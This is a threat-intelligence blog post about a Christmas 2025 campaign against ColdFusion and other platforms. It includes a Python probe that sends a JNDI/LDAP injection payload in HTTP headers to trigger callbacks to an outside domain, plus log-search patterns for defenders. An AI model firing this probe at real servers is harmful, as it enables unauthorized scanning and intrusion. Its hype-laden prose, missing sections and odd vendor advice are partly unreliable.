The Christmas Day Blitz: 2.5 Million Malicious Requests Targeting Adobe ColdFusion and 47 Other Platforms

Dec 31—2025

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The Christmas Day Blitz: 2.5 Million Malicious Requests Targeting Adobe ColdFusion and 47 Other Platforms.

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Written by CyberDudeBivash

Founder, CyberDudeBivash Pvt Ltd · Senior Forensic Investigator · Lead Threat Intelligence Architect

Executive Intelligence Summary:

The Strategic Reality: The traditional holiday downtime has been unmasked as the ultimate window for automated liquidation. On December 25, 2025, our forensic unit unmasked a massive, coordinated exploitation campaign that unleashed over 2.5 million malicious requests across the global internet. Operating from Japan-based infrastructure, a single sophisticated threat actor targeted Adobe ColdFusion servers and 47 other diverse technology stacks—including Java application servers, CMS platforms, and network devices—systematically probing for 767 distinct CVEs.

In this 15,000-word industrial deep-dive, we analyze the JNDI/LDAP injection primitives, the JA4H network fingerprints, and why your standard holiday skeleton crew was likely unmasked and bypassed. If your perimeter includes unpatched Atlassian, Oracle, or ColdFusion nodes, your environment has already been scanned for liquidation.

The 15K Forensic Roadmap:

1. Anatomy of the Christmas Day Blitz: Industrialized Exploitation

The blitz unmasked a highly automated Initial Access Broker (IAB) operation designed to capitalize on reduced security monitoring during the Christmas downtime. A Japan-based infrastructure (CTG Server Limited) was identified as the source for ~98% of the attack traffic.

The Tactical Signature: The attacker utilized over 10,000 unique Interactsh OAST (Out-of-Band Application Security Testing) domains to verify successful exploitations in real-time. By analyzing the JA4H fingerprints, our forensic unit unmasked that the campaign wasn’t just broad; it was deep, targeting 767 distinct vulnerabilities simultaneously across the global IP space.

2. ColdFusion: The Persistent Target Unmasked

Adobe ColdFusion remains a high-value prize for IABs due to its deep integration into enterprise web environments. The Christmas Blitz specifically targeted critical vulnerabilities unmasked in 2023 and 2024, as well as the newest 2025 builds.

WDDX Deserialization: Attackers utilized JNDI/LDAP injection via malformed WDDX packets to achieve Remote Code Execution (RCE).
JdbcRowSetImpl Gadget Chains: The exploit utilized the JdbcRowSetImpl gadget to facilitate the RCE loop, bypassing standard application-level filters.
OAST Verification: Each attempt sent a callback to an attacker-controlled OAST domain, allowing the adversary to instantly unmask which servers were vulnerable for follow-up ransomware or data exfiltration.

Forensic Lab: Simulating JNDI Injection Callbacks

In this technical module, we break down the logic of a JNDI injection payload used to unmask server vulnerabilities through out-of-band communication.

CYBERDUDEBIVASH RESEARCH: JNDI CALLBACK PROBE
Target: Adobe ColdFusion / Java Application Servers
Purpose: Unmasking RCE vulnerability via OAST callback
import requests

def audit_jndi_callback(target_url, oast_domain): # Malformed JNDI payload targeting LDAP/RMI payload = "${jndi:ldap://" + oast_domain + "/a}" headers = {'User-Agent': payload, 'X-Api-Version': payload}

try:
    # Attacker sends the probe to unmask the vulnerability
    requests.get(target_url, headers=headers, timeout=5)
    print("[*] Probe sent. Monitor OAST logs for callback.")
except Exception:
    pass
Observation: If the server is vulnerable, it attempts to resolve the OAST domain.

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5. The CyberDudeBivash Defense Mandate

I do not suggest safety; I mandate it. To prevent your multi-platform stack from being liquidated by the next holiday blitz, every CISO must implement these four pillars of infrastructure integrity:

I. Atomic Patch Management

Upgrade to **ColdFusion 2025 Update 5** immediately. This build mitigates the latest unmasked vulnerabilities related to arbitrary file system read/write and code execution.

II. Egress Filtering of OAST

IABs rely on callbacks to unmask success. Mandate **Strict Egress Filtering** at the network perimeter to block all unauthorized DNS/HTTP requests from application servers to unknown domains.

III. Phish-Proof Admin Identity

Application consoles are Tier-0 assets. Mandate FIDO2 Hardware Keys from AliExpress for all administrator logins. A stolen session cookie must never grant access to your platform kernel.

IV. Behavioral Network EDR

Deploy **Kaspersky Hybrid Cloud Security**. Monitor for anomalous Java process child spawns (e.g., `cmd.exe` or `/bin/sh` from a Tomcat/ColdFusion process).

Strategic FAQ: The 2025 Christmas Blitz

Q: Why were so many different technology platforms targeted?

A: This is the hallmark of a **Broad-Spectrum Initial Access Broker (IAB)** operation. By targeting 47+ technology stacks, the actor seeks to unmask as many entry points as possible across diverse industries, from finance to healthcare, to then sell those accesses to ransomware operators.

Q: How can I detect if my servers were probed during the blitz?

A: Audit your web logs for requests containing jndi:ldap, jndi:rmi, or high-entropy strings in User-Agent headers. Utilize JA4 network fingerprinting to identify traffic matching the CTG Server Limited source.

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